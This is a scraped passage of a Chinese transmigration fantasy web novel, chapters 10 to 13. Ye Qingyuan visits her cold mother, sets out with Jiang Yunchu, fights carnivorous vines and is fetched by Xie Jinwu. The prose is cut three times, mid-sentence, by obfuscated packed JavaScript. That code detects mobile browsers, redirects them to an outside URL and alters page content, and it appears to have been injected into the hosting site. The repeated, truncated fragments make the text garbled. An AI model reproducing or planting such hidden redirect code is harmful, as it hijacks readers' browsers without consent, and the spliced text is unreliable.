嗯,果真连系统都摸不透大反派的心情,看来方才所说的“不可饶恕”的雷点也未必准确吧? 足足一分钟后,冰冷的声音响起,“大约2%。” ……悬着的心终于死了。 不过没关系。叶清圆仰着脸看了一会儿天际流云,很快将此事抛在了脑后,自我安慰道:至少不是个负数。 她穿越到这本万千妖邪的诡异世界来,纯属意外。纵使危险系数极高,她也只想在合理范围内活得随心所欲些,自由洒脱些,而不是成日为了任务提心吊胆、如履薄冰。 多累呀。 雪白的腕子探出去,叶清圆端起茶盏抿了一口,茉莉花的清香顿时在唇齿之间氤氲开来。 “对了,我想趁这几天空闲,去镇外佛寺探望一下阿娘。” 原身的母亲江尚绵因生产亏空了气血,又在叶府住得心烦意乱,而待在佛寺清修多年。 叶清圆在叶府待了这许多天,其实也从众人的态度当中看出来,江尚绵并不是很待见原身这个亲生女儿。 原因呢?众人都闭口不谈,她也搞不清楚。 如今初阳镇的任务都要完成了,按照剧情的走向来说,她很快就会离开此地,奔赴到下一个危机四伏的副本当中。 临走之前,也应该与母亲好好地道个别呀。 - 江尚绵终日居住在佛寺旁的一处清幽小院里。 春末的阳光照在身上已经有些热度,通往佛寺的偏僻山道旁长满了各类树木,斑驳的阳光泼洒在土路上,偶尔还可以听到山林深处传来阵阵鸟类的清啼。 “我不行了,我……我要歇一会儿,歇会儿再走。” 叶清圆累得满脸都是汗水,发丝被打湿黏在了颊边。小丫鬟将她搀扶到道旁的石头坐下,又挥着小扇给她送去凉风。 原身的身体素质真是差得有些离谱了。不过百米的山道,坡度平缓,遍地阴凉,顶多就是土路崎岖不平了些,她一路走来竟是连着崴了两次脚,胸口也缺氧得略有发闷,喉咙里已经漫出了铁锈味。 ……真比她大学时跑个三公里有氧还费劲呢。 小丫鬟打开水壶递到叶清圆唇边,担忧道:“小姐,喝口水吧?” 叶清圆没顾着接,唇色发白地缓了好大一会儿,才勉强平复了剧烈的心跳。她接来水壶饮了两口,没敢多喝,便递还给丫鬟,道:“你也喝,都出汗了。” 小丫鬟跟了她十来年,还从未见自家小姐如此“做人”过,当即吓得连连摆手:“奴婢不敢喝,小姐喝就是了。” 叶清圆莫名其妙道:“你不渴呀。” 她其实也没有和别人共用水杯的习惯,只是此刻情况特殊,她自己是喝了水清凉了许多,却见不得旁人还口干舌燥的。 说到底是观念不同。在叶清圆的眼中,根本就没有这所谓的小姐与丫鬟之分,大家都是年龄相近的女孩子,互帮互助嘛。 小丫鬟胆怯犹疑地接过水壶喝了一口,也确实觉得凉快许多。 “咱们就在这儿歇歇脚,等凉快了再上去,反正天色还早呢。” 叶清圆眯着眼吹山风,柔白脸颊泛出伴随着热汗的红晕,一双眼眸却明亮如春光。 小丫鬟抱着水壶偷眼瞧她。 自家小姐是真的变了许多,虽然现在还有些体弱,时常头晕无力,可就是像完全变了个人。从前那副冷眼看人的阴郁模样也消失了,也不再以欺负下人为乐,她每天大吃大睡,睡饱了就去花园里遛兔子,那肥兔子硬是被她遛瘦了两圈。 她遇到谁都笑吟吟地打招呼,笑容明媚而漂亮,宛如朝阳。 人真的可能一夕改变吗? 不是夺舍之类的民间传说? 叶清圆歇够了站起来,两人挽着胳膊往佛寺旁的小院走。一盏茶的功夫后,终于瞧见了那门扉半阖的篱笆小院。 院子里有棵大榕树,遮天蔽日,苍郁葱翠。 树下阴影里置了一张茶桌,有个肤白衣素的妇人正端坐在桌旁,垂眸研读一本经书。 她身形瘦弱,脸色憔悴苍白,琥珀色的眼眸中满是如水的平静。 正是江尚绵。 叶清圆走上前去,轻声唤道:“娘。” 11. 第 11 章 斑驳的光点在地上跳跃,江尚绵闻言抬眸,不轻不重地看了她一眼:“清圆?” “娘,是我呀。”叶清圆笑意盈盈地走过去,在她对面坐下,“阿娘,我们许久没见面了,女儿好想您。” 江尚绵的手指还压在经书上,眸中却露出些许疑惑。 她这个女儿自生下来就不怎么亲近人,仿佛是天生的糟糕性情,顽劣得惹人生厌。她在此小院清修多年,耳畔还时不时听到叶清圆又欺负仆役、作弄丫鬟的消息。 除却逢年过节,叶清圆是绝不会来探望她的。 久而久之,她们之间的所谓母女情分,浅薄得还不如一层纸。 江尚绵冷冷开口:“你怎么来了?又闯了什么祸?” 叶清圆脸上笑意不变:“没有呀,我只是想念阿娘而已。” “……” 江尚绵眸光冷淡地打量她一瞬,见她脸蛋红润,眉眼漂亮,倒与先前那副病秧子模样有些不同。 叶清圆模样乖巧地为她斟茶,轻声道:“阿娘,我最近没有闯祸,也没有做什么不好的事。我很乖的,不信你回头问爹爹嘛。” 她嗓音清脆,暗含笑意,如山涧清泉。 江尚绵微蹙的眉心不由得舒展些:“希望如此。” 说罢,还是很欣慰地端起她刚倒好的热茶,啜饮一口。 叶清圆笑道:“阿娘,你不知道,昨晚镇子里竟莫名出现许多游魂野鬼,我还帮了爹爹一个大忙呢!” “你帮忙?”江尚绵端茶的手一顿,“你……学了点灵之术?” “嗯!” 江尚绵神色复杂地看了她一眼,叹息道:“你爹爹教你的?” 叶清圆想了想,摇头:“爹爹只给了我一本点灵的古籍,我是自己摸索着学来的。” “摸索着学,效果如何?你画的符咒可也有用?” 看来江尚绵对叶府的事并不了解,也不知道原身早就被叶肃逼着学画符了。 叶清圆思索着笑道:“威力挺大的呀。爹爹后来告诉我,这是因为我来自什么……点灵世家?” 说罢,她略有迷茫地望着江尚绵的脸上神情。 江尚绵垂睫,烦躁道:“当初说好的……没想到他竟还是这么做了。” 叶清圆一听,立刻道:“说好的什么呀?” “这山中荒宅的阵法,还有与江氏的交易……你爹爹都告诉你了?” “是呀,爹爹说,他想要借助永安江氏的力量……”叶清圆蓦地住了口。 江尚绵也姓江。原身的阿娘,竟也是永安江氏的人吗? 江尚绵心思玲珑,何尝猜不出叶清圆此刻所想? 她轻颔首,垂眼道:“当初我便是参与封印那宅中大妖的江氏子弟之一。我被竹妖重伤,被迫留在这初阳镇里,这才与你的爹爹逐渐相熟。” “纵使我与叶肃已然成婚,可也不必时刻都待在一块儿。我有我的安排,本打算在初阳镇里养好伤就尽快赶回永安江氏复命。可是临走时却发现,腹中竟已怀了你。” 江尚绵的声音很轻:“清圆,你的到来,打乱了我的所有计划。” 叶清圆眼中的笑意勉强。 难怪江尚绵对于原身不疼不爱,因为原身的降生本就不被她期待吧。 “我为了生下你险些丢掉性命,之后身体更是虚弱,终日躺在床榻上,就算在炎炎夏日都吹不得一丝风。” 后来的事情,叶清圆都明白了。 叶肃也不待见她。他本就迂腐,总觉得该有个儿子来传承香火,如今得了个女儿也就罢了,可还这么病殃殃的没活气,连哭声都弱得像小猫崽子似的,听着就让人高兴不起来。 他怜惜爱妻江尚绵,所以对原身的存在愈发膈应。 原身自小体弱不堪,叶肃便请了大夫来看病开药,各种滋补的药品如流水淌进小院,他却不肯亲自过去关怀片刻。原身被关在深深庭院,锦衣玉食,却孤僻寡言,终日游荡如孤魂,她十二岁前甚至都没有走出过府门半步。 仆役躲着她,丫鬟们惧怕她,粗使的老婆子在背后骂她是府里的扫把星。 叶肃粗暴地使用大量滋补品来维持原身的“健康”,却从不肯静下心来,细想她之所以体弱多病的根由。 江尚绵轻声道:“我本不打算将你牵扯进这件事,可是到头来,你还是什么都知道了。” “我不知道叶肃想要干什么,但你尽量不要沾染这些事情才好。清圆,我是见识过妖鬼的人,我知晓那有多危险。” 叶清圆眨了眨眼:“阿娘。” 江尚绵垂眸将经书翻过一页,轻咳一声:“好了,你想知道的我都告诉你了,我没有力气,说不了太多话,你还是快些离开吧。” 纵然眼前的妇人并非自己的亲生母亲,可叶清圆面对这样冷漠的态度,还是感到一阵失落。 江尚绵是个家族利益大于一切的人,她将捉妖除祟之事看得很重,若非遇到叶肃,她或许会将自己的一生都奉献给杀妖灭鬼的事业。 可是原身的出生打乱了她的计划,她的内里快要被掏空,从此无法再提剑,只得在这荒僻的佛寺小院里,与青灯古佛相伴,了此残生。 叶清圆下山的时候格外沉默。 她想,这分明不是原身的错误呀。 爹娘相爱,才会孕育子嗣。身为孩子,谁能决定自己要不要出生呢? 为何叶肃和江尚绵能如此默契地、理所当然地将一切过错都推在原身的身上? 原身被封锁在深深宅院里,爹不疼娘不爱,成天就喝那些苦涩难闻的药,还要忍受府中下人的非议与谣言。她是生来就活该遭此罪责的吗? 叶清圆暗自叹息。 不过幸好,原身也并非总是面对恶意。 那晚在阴雾弥漫的小巷子里,对叶清圆躬身行礼又指路的老婆婆,生前就曾是照顾原身的人。 这位老婆婆很疼爱原身,总护着她,又陪她玩儿,不许别的人在她面前胡说八道,待原身就如亲孙女一般。 可是原身八岁的时候,老婆婆生了重病,不久撒手人寰。 也正是那个时候,关于原身是扫把星的流言才甚嚣尘上。 - “小姐,”丫鬟小跑着过来,“老爷在前厅,唤小姐过去商议事情呢。” 叶清圆刚回府,迎面就碰见个小丫鬟:“什么?” 丫鬟小声道,“江小姐明日就要启程离开了。” 江云初明日启程,意味着她也要离开叶府这个温暖舒适的锦绣花丛,投身诡异、恐怖,甚至逆天的各类副本了。 何况,系统给她发布的主任务二,不就是在万千妖邪的手下尽力保护江云初的安危,甚至在紧要关头给她替命吗? 这一趟远门,她非出不可。 叶清圆打起精神来到前院花厅,穿过抄手游廊刚要转弯的时候,竟正巧遇到了谢尽芜。 谢尽芜正从花厅出来,初夏的阳光斑驳耀眼,他抬起手掌遮在眉骨,不经意地偏了一下头,这一眼,恰巧撞上了叶清圆略微走神的目光。 二人目光相触,皆是一愣。 昨夜在山上的遭遇与接触仍旧令叶清圆莫名其妙。谢尽芜望过来,浅红的唇角掩在掌心覆盖下的阴影处,影影绰绰有一点笑意,看不真切。 叶清圆出于礼节,倒是飞速回神冲他颔首,勉强露出一个大方端庄的笑容。 除此之外,再无交集。谢尽芜点头之后率先错开目光,迈步离开,恍惚间唯见他暴露在阳光之下的手背白得近乎透明。 叶清圆眼里的笑意依旧,毫不在意他的漠然,转身进了花厅。 “爹爹,云初姐姐。” 叶肃四平八稳地坐在上位的太师椅,脸上还残余着些喜色,想必方才与谢尽芜相谈甚欢了。 原作者虽不做人,强行将谢尽芜从原本的复仇文主角写成了大反派,但或许是出于对亲儿子的怜爱,还是尽最大可能地保留了谢尽芜的闪光点。譬如相貌,譬如骨子里的修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445923|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养。 叶肃虽是生意人,却颇有内秀,对于涵养与谈吐很是看重。以他毒辣的眼光来看,谢尽芜除了性情太冰冷疏离之外,其他方面堪称完美。 他一见到叶清圆,双眼一亮,更是喜上眉梢,忙招手道:“好孩子,来,快来爹爹身边坐。” 好……孩……子…… 叶清圆一头雾水,浑身鸡皮疙瘩。只见叶肃眼含笑意地看了她片刻,温声开口道:“昨夜里清圆竟亲自出手收服了镇上的阴魂,感觉如何呢?” “有些恐怖,不过可以慢慢适应。”叶清圆尚且没有摸清他的意图,回答得比较谨慎,“昨夜并非我独自外出,而是在中途遇见了谢尽芜谢公子。” 她观察着叶肃的神色变化,补上一句:“谢公子帮助我许多。” “谢公子温文尔雅,心地又如此善良。”叶肃颇为赞赏。 此话一出,叶清圆当即就有些绷不住。 心地善良?是为了设阵,不惜将江氏子弟的性命安危弃之不顾的那种善良吗? 江云初淡声开口道:“不错,昨夜若非谢公子一封飞书请来渡亡世家之人,那些阴魂该如何处理,尚且是个棘手的问题。” 她话音落下,叶肃的脸皮又有些绷不住了。 那些阴魂之所以是个麻烦,还不是因为他要和江氏家主做交易?归根结底,这不都是他惹下的麻烦? 江云初心高气傲,爱恨分明,心中对他的做法早就颇为不满且不齿,却又碍于身份不好明说,只能这么见缝插针地“提点”他一句,告诫有之,责怪亦有之。 叶清圆没听出这一茬,只讶异地睁大了眼睛:“渡亡世家,是谢尽芜请来的?” “是啊,”江云初望过来的目光很是平静,“清圆不记得了吗?从你们解决那个白氏叛徒之后,那只引魂铃自始至终都掌握在谢尽芜的手中。只是在最后关头,渡亡世家之人到来之际,他才借你的手,将之交予我。” 若非是谢尽芜有意安排,怎会时机如此巧合? 耳畔山呼海啸,叶清圆迟钝地反应过来:“原来如此。” 她恍然大悟,那个渡亡的少主,不是还管谢尽芜叫“哥”吗? 叶肃轻咳一声,适时地又开始发表意见:“果真,许公子的朋友,个个都是好人哪!” 许公子,就是江云初的那位恋人,散修许明竹。 江云初掌中捧了一杯茶盏,轻垂眼帘,氤氲的茶雾晕染她飞扬的眉目。 唯有提到许明竹的时刻,她那双向来漂亮骄矜的眼中才有些淡淡的、称得上羞涩的笑意。 叶肃奉承话说够了,见江云初的脸色也稍霁,自觉对阴魂一事已经问心无愧,于是话锋一转:“清圆,真的愿意和江小姐一起走吗?” 叶清圆很认真地点头:“嗯,我要和云初姐姐一起去捉妖除祟。” 叶肃其实很满意她这个回答,眼中却恰到好处地露出一点严肃,“不怕危险?” “怕,”叶清圆思索一瞬,诚恳道,“可这恰好是个机会呀,跟着云初姐姐多见识世面,总比闷在这小小的初阳镇要强上许多。” 想必是她这个回答正中叶肃的下怀,愁闷烦躁了许多天的茶庄庄主忽地眉目舒展开来,对她的理想与志向满意得不得了,“好好好,这才是我们点灵世家的孩子!” 叶清圆尴尬地笑笑。她倒是想在初阳镇这个锦绣丛中无所事事地过一辈子,可是有系统任务在,她不得已而为之。 而且,原书中的几个副本……她是真的挺好奇的。 江云初搁下茶盏,轻声道:“叶叔父尽管放心好了,我必会保护好清圆妹妹,不叫她受一点伤害的。” “哎,”叶肃摆手,“出去历练怎么会不吃苦受伤呢?这都是少年人成长的必经过程,你也不必过度保护她。” 江云初淡笑着点点头,眸中闪过一瞬得逞的笑意,“好,那我就恭敬不如从命了。” “……”叶清圆捧着茶盏的手顿在半空,忽觉大事不妙。 12. 第 12 章 落日熔金,叶清圆躲在一株榕树的阴影里,警惕地打量着四周。 密不透风的藤蔓茂盛生长,遮天蔽日,只有斜上方照射进来的一束金黄色的微光,彰显着此时已近黄昏。 林中的味道不太好闻,这里的空气不流动,没有新鲜的植物清香,扑面而来却都是枯枝败叶的腐烂气息。 周遭是死一般的寂静,听不到任何活物的声音,鸟鸣,兽语,皆不存在。 唯有粗壮的藤蔓野蛮生长。 他们只是离开了初阳镇,缓缓向北行进几天,沿途经过几座城镇而已,江云初怎么就找到这种“世外桃源”了? 叶清圆努力压抑住颤抖的呼吸,酸痛的肩背与被粗糙符纸磨得通红的手指让她欲哭无泪。 她已经被困在这里整整一天了。 离开初阳镇之后,江云初先是测验了一下她对符咒的掌握程度,之后便与江氏本家联系,借助本家强大的数据库专程替叶清圆寻了一处好地方,作为她今日的训练。 任务也很简单:在太阳落山之前,离开这片藤蔓密林。 听起来很轻而易举,可实际操作的时候,叶清圆只恨自己早晨没有多吃几口饭,否则也不至于灵力将要耗尽,也没能找到密林的出口。 林中藤蔓密布,遮天蔽日,杀之不死。纵使她祭出雷暴符,将这些藤蔓炸得细碎,都无法将之斩草除根。这些妖物一般的东西再生能力很强,甚至能够在短短一刻钟之内长得比人要高。 至于系统……高冷的系统自始至终都没有露面,仿佛忘记了还有她这个宿主。 她暗自苦笑一声,觉得自己恐怕是穿越史上最可怜的角色了。 叶清圆躲在大榕树的阴影下面,后肩抵住粗糙的树身,足靴踩在掺杂着腐败落叶的潮湿软陷的泥土。 密林中白雾如轻纱一般弥漫,一阵凉意隐隐传来,她不由得打了个冷颤。 已经很累了,肌肉酸痛,画符又消耗了太多灵力,此刻乌金西坠,今天究竟能不能从这里逃出去,完成江云初对她的历练,实在是个很大的问题。 窸窣的声响隐隐从不远处的阴暗里传来,刺激了叶清圆此时敏感的神经,她疑窦顿生,思虑一瞬,还是点亮一张照明符扔过去,眼前的一幕叫她的心瞬间提到了嗓子眼。 那一株藤蔓竟在“吞食”一只误闯进此地的小兔子。 遒劲粗壮的绿藤,散开的叶片透出浓郁幽深的绿,弯曲的弧度蕴含着骇人的力度,如同一条巨蟒,狠狠纠缠住弱小的生灵,不留任何喘息的余地。 幼小无辜的兔子尚且意识不到发生了什么,直到那藤蔓缓缓收紧力道,叶片逐渐蜷曲,分泌出墨绿色的黏液…… 变故来得太快,叶清圆甚至来不及祭出符咒相救,蛇身一样的藤蔓逐渐缩小包围,一眨眼的功夫,倏然又放松了力道。 空空荡荡,唯有一簇粘结成团的白色毛发轻轻飘落在地。 这里之所以没有出现任何鸟兽的踪影……她惊恐地意识到,是因为这些妖藤食肉。 “吞食”了一只小兔子的藤蔓明显没有餍足,末端弓起,像是生了一双眼睛,直勾勾地盯住了叶清圆的方向,蓄势待发。 浓绿色的黏液滴落在地,宛如许久不曾进食的、垂涎三尺的老饕。浓郁的绿此刻就像一双幽幽的眼,盯准了眼前的猎物。 叶清圆的脑子嗡鸣一声,恐惧争先恐后地涌来。 怎么办? 五雷符与穿山透壁符在这里都失去了作用,对付这些生命力强大到堪比蟑螂的妖藤,无论是雷击还是逃避都行不通。 手心里是濡湿的汗意,她在神经极度紧绷的情况下思绪飞转,回忆着那本“点灵”古籍中所记载的符术。 妖藤如盯准猎物的蛇,缓慢地、带着审视地靠近。一束金黄色的夕阳打在榕树茂盛的枝叶上,耀眼的光点四散飞溅,仿佛整个密林都被点亮。 叶清圆深吸一口气,从袖中取出最后一张明黄符纸,凝神聚气,闭上眼睛。 江云初此刻在观察着林中的情况吧? 总不至于因为一场考验,眼睁睁看她将小命丢在这里。 事到如今,只好一赌。 她咬破指尖,涌出的鲜血滴落在明黄符纸上。 ——“形本是画。” 指尖划动,勾勒出一道流畅优美却颇有力道的弧度。 “画以象真。” 叶清圆眉心紧蹙,脸颊一瞬间失了血色。她感受到体内的灵力正在急速流失,如水一般毫无阻碍地灌注到符纸之上。 “真之所示,” 天地都寂静,耳中鼓荡的是剧烈的心跳声,她忍住呕吐般的晕眩感,隐隐苍白的双唇吐出最后一句咒语,“即乃有神!” 话音落下,狂风骤起! 榕树的叶子被风吹得脱离了枝干,却飘荡在半空中迟迟不落,仿佛被一只无形的大手用力攥住。气压一瞬低了下来,呼吸亦有些困难。榕树叶片的尾端直直指向了那作乱的妖藤,唯有灵力涌动,化作漫天剑雨,密不透风地围困住妖藤。 叶清圆的识海混沌一片,勉力聚起精神,并拢两指夹住符纸。 手腕抬起,殷红的血自符纸缓缓滴落,她忍住眩晕感踏出半步,手持符纸向前一点:“敕!” 漫天剑雨齐齐刺向妖藤! - 江云初坐在竹椅中拭剑,矮桌上放着一面铜镜,镜中映出叶清圆祭符咒与妖藤缠斗的画面。 她的上半身微微向前探,关注着林中的任何风吹草动,目光是说不出的忧虑与紧张:“至于做到这一步吗?她初学符咒,应付妖物的经验也不足,这样下去恐怕会受伤。” 许明竹温声安慰道:“云初,不要担心,我们都在这里看着,不会让她受伤的。” 他手中捧了一卷书,垂眸翻看,氤氲的茶雾袅袅升起,晕染他平和沉静的眉目。 作为本书“后来居上”的男主角,许明竹自然有他独特的人格魅力,才能打败一众配角成功上位。他拥有极度稳定的情绪内核,遇事冷静、理智是他的个人特点。 然而,也正是这份始终置身事外的理智导致了他与江云初之间屡次出现误会与矛盾。甚至后来原主费劲心思挑拨他们之间的关系,也是利用这一点。 江云初是将事业与感情分得很开的人,她处理家族事务时固然冷静、利落。但在她眼中,能够用理智、冷静态度对待的恋人,都很难说是爱。 此时她听到许明竹那种堪称冷漠的语气,心中便有些不太舒服。 “这片密林中处处危机,原本的任务就难以完成,现在又放了妖藤进去,她自己能对付吗?”江云初眉心微蹙,不太认同,“谢公子?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445924|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 窗外阳光清朗,花木葱茏。 谢尽芜立在窗边,树叶斑驳的阳光漏下来,泼洒在他的周身。 “她有本命珠在身,这种程度的考验只会逼得本命珠现形,顺便助她激发潜力,却不会让她受伤。” 许明竹是个温水般的人物,情绪始终稳定如山,从来没有和人急眼的时候。此时也是语笑轻轻道:“他做事向来都有分寸的,放心啊。” 他善于观察人心,且与谢尽芜相识多年,对他的行事风格也摸得比较透彻。 谢尽芜从不做没有把握的事,他说可以,就一定可以。 纵使谢尽芜现在被邪印折磨得痛不欲生,很需要本命珠来止痛,他也会将这件事摆在台面上说透了,根本不屑于以欺骗的手段去欺负一位灵力低微的姑娘。 江云初其实也清楚这一点。早在初阳镇的那晚,山中阵法大作,她险些以为谢尽芜会提剑杀了叶清圆,强硬地夺回本命珠,可是许久过去,他都没有采取任何行动,最后甚至借叶清圆的手奉上了引魂铃,让叶清圆在江氏子弟与渡亡世家的眼前留了个极好的印象。 她与谢尽芜之间,虽是点头之交,却也不得不佩服他的君子行径。 江云初沉默半晌。 铜镜中的画面忽地震颤起来,如同泛起涟漪的湖面,显然是林中的灵力波动太过剧烈。 万千榕树叶化作漫天剑雨,将那株妖藤刺得千窟百孔! 而倚靠在榕树下的小姑娘,在祭出这一张符咒之后,浑身的力气就像被抽干了一般,整个人靠着树身缓缓下滑,脸色苍白得不像话。 谢尽芜俊俏的脸上没有任何表情,对此丝毫不意外,一双黑曜石般的眼瞳中没有任何情绪。 “这是……”江云初的眼中流露出讶异之色,随即起身道,“我要带她回来。” “慢。”慢条斯理饮茶的许明竹抬手温和制止,“让谢尽芜去吧,反正今天这事是他办的。” 谢尽芜转过脸来,清透的目光现出一丝迷茫。 许明竹笑着起身打开门:“叶姑娘与你最为相熟,这份差事不交给你还能交给谁呢?总之就辛苦你了。” 话音落下,微微惊愕的谢尽芜也被他连推带请,送出了客栈之外。 江云初本想拒绝,毕竟是她答应要带叶清圆出来历练长见识的,谢尽芜今日能够来此全凭三人过去的一点情分,不太好再麻烦他。 许明竹笑了笑,又道:“让他们二人多相处些时日,叶姑娘或许会对谢尽芜放下戒心。这也方便后续取出本命珠——毕竟我们谁也不想看到他忍受这种痛苦折磨。” 江云初目露怀疑,等谢尽芜已经走出客栈,才压低声音道:“明竹,你没有忘了我们带清圆来此的目的吧?” “怎么会忘呢?”许明竹示意她安心,“一切调查都还在进行中,放心,不会耽误进程的。” 江云初轻轻摇头:“我担心清圆牵制不住谢尽芜,我们还是再想别的办法。族中长辈们向来机敏非常,我担心他们已经察觉到我们的动作……” 许明竹抬手做了个向下压的手势:“云初,不要惊慌。就算他们想要阻拦你的计划,一切也有我挡着。” 他的声线温和,眼中却有坚定之意:“你放心。” 江云初心内的焦躁勉强被他安抚下来,牵起唇角道:“好。” 13. 第 13 章 叶清圆疲惫至极地委顿在榕树下的阴影中,藕粉色的裙子铺开在地面,裙角也沾了泥土,飘落的榕树叶子点缀在上面,像水面的浮萍。 她的脸色是失血般的苍白,眼眶却隐约有些发红。 微微扬起脸,叶清圆将脑袋也靠在树身上,拢在袖中的手指因脱力而颤抖着。 妖藤被漫天剑雨扎了个千疮百孔,终于是偃旗息鼓。但叶清圆无法确定它是不是被彻底杀死,不能放下警惕心,纵使现在想短暂地歇息片刻,也必须分出注意力去关注远处阴影里任何细微的动静。 识海中仍旧传来撕裂般的剧痛,她勉强忍住痛楚,抬手揉了揉太阳穴,轻声唤道:“系统,系统?” 千呼万唤,那道冰冷的莹蓝色光芒终于出现了。 叶清圆现在很想痛打它一顿,她生死之际这位高贵的系统不说出来救驾,简直是持续性装死,仿佛是生怕她这个宿主多活一天。 史上还有比她更悲催的穿书者吗? 奈何没有胆量惹怒这位系统,她只有自嘲一声,唇角牵起悲凉的笑容:“我有个问题要问你。” 微风吹拂,榕树枝叶哗哗作响,满目荒凉。 “在这个世界里,我究竟有没有生命危险?” 莹蓝色的光芒一闪,系统给予了肯定答复:“很抱歉,有。” 毫不意外的回答和毫无诚意的道歉,然而却是鳄鱼的眼泪,事到如今又对她提抱歉,有什么用? 叶清圆忽然觉得非常委屈。 她闭上眼,深呼吸平复了心情,尽量趁机获取更多的情报,为自己争取最大的利益:“在我之前,是否有穿越者?” 这一次,系统很难得地没有再吝啬言辞,“有,很多。但她们没有一人坚持到第二个副本。” 叶清圆的嘴角僵硬一瞬。 微凉的风细细拂过脖颈,薄薄的一层汗被吹干,她忽然觉得冷,“……她们都是怎么失败的?” “死在谢尽芜手中,无一例外。” 叶清圆脑子里轰地一声嗡鸣,脸上血色如潮水一般退去。她睁大双眸,眸中因恐惧而泛起了雾气,“是……他杀的吗?” 滴答、滴答…… 密林中雾气愈发浓重了,汇聚在树枝头,凝成一滴滴晶莹的水珠坠落。 系统机械冰冷的声音响起:“她们靠近谢尽芜的意图太明显,手段太过拙劣。” 原书中,谢尽芜虽是一副俊朗清冷的少年相貌,实则性情极为冷漠阴郁。他似乎有厌人症,虽能在表面维持最基本的礼仪与客套,但也仅限于表面,他的骨子里极度厌恶任何人的接近、试探。 叶清圆垂眸良久,终是无声地叹了口气。 她的大部分人生都埋头扎在试卷堆成的小山里,她会哄人开心,可也仅限于对方是人畜无害的21世纪青少年。对付谢尽芜这样残忍、扭曲的人物,她不能保证自己一定可以攻略他。 她并不是很聪明,未必就比之前穿越的姑娘们做得好。 叶清圆的脸色是说不出的虚弱苍白,只觉前路荆棘丛生、举步坎坷。她稍稍恢复了气力,垂着头,一只手扶住树身,撑持着站起身来。 幸好她穿越过来的时间点,刚好处于谢尽芜的杀性失控之前。他冷漠彻骨,却也勉强可以自控,甚至有耐心去做出一副端方知礼的君子模样,说明他尚且有几分扭转心性的可能。 叶清圆深吸一口气,苦着脸给自己做心理安慰。 密林中寂静已久,食肉妖藤应当是彻底死透了。枝叶的缝隙间有微风拂过,发出簌簌的轻微声响。 叶清圆忍着头脑的晕眩,弯腰拍打沾在裙角的湿润泥土,可是还未等直起身来,远处花木深处轰然一声爆炸般的巨响! 林中灵压顿时紊乱,遮天蔽日的浓雾与藤蔓被暴力清出一个偌大的缺口。 金色的阳光流淌下来,照亮整片密林。 叶清圆惊得一个激灵,连忙在榕树后躲好,心头一阵剧跳。阳光从身后照映而来,将大榕树的影子投射在地面上。 隔着光柱里飞舞的尘埃与落叶,她看见翠绿树枝散落一地,扬起纷飞的落叶与碎花。一道清瘦颀长的身影踩着熔金般的余晖,身姿端方、宛如天降地走向她所站立的地方。 谢尽芜的脸上没有任何表情,冷淡的视线落在榕树后那一角飘飞的藕粉色裙摆。 两个人心照不宣地沉默着,分明知晓对方是谁,却各怀心思地一言不发。 叶清圆微微侧过头,垂下眼眸,看地上那一道被夕阳拉长的身影。挺拔的肩背,衣袍下摆绣制的纹样开阖如云,步伐不急不慢,闲庭信步,通身却是阳光都照不暖的冷漠气息。 她只有一瞬的出神,那道修长的影子却越来越近。由朦胧到清晰的轮廓中,剑穗随动作轻摇摆动,垂坠的玉璧光润平滑,反射着熔金般的流光,在那只抚在剑鞘的玉白手背上荡出又一轮耀眼残阳。 来人顿住脚步,站定在榕树边,与她隔着三步远的距离。 叶清圆如梦初醒般慢慢地抬起头来。 落日映照的尽头,谢尽芜站在那里,肩头洒满了熔金般的碎光。他身姿卓然,脸白如雪,身前是一片浓郁藤蔓泛出的森森冷意,身后却遍洒温暖的阳光与落叶飞花。 他轻挑起眉,连发梢与眼尾都跳跃着点点的微光。 纵使叶清圆现在对他又讨厌又畏惧,然而视线交汇的一刹那,她的眼神仍忍不住在这张脸上多停留了一瞬。 清俊湛然,秀骨天成。 他的神情冷肃,眼中一派疏离。然而,终究抹不去那浑然天成的少年气息。 “谢公子,是你呀。” 叶清圆的裙角都脏了,沾了污泥和落叶,额前的碎发也有些凌乱。她隔着金黄色的阳光望他,上挑的眼尾泛着红,唇上的胭脂洇开,抹在苍白的脸颊上,模样是说不出的可怜。 可惜,谢尽芜对她这副狼狈模样没有任何触动,依旧是漠然的模样,一双漂亮的眼珠冷得没有任何温度,像在冰冷的潭水中浸透了。 他淡声开口:“叶姑娘,在下受江姑娘所托,将你带回。” “哦,”叶清圆与他目光相触的一瞬,心里猛地一怕,系统的话犹在耳边。 或许是今天的历练让她太过疲倦,完全打不起精神再与他周旋,当即逃避似的低下头去,“那麻烦谢公子了。” 谢尽芜的眉微微蹙了一下,她恍若未觉,依旧低着头,慢吞吞走到他身边,“走吧,谢公子。” 身前的人没有任何动作,叶清圆头昏脑涨,太阳穴连着眼眶那一块都突突地疼。她等了许久,一道听不出情绪的声音终于从上头传来,“你很失望吗?” “……什么?” “来的人是我,你很失望吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445925|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 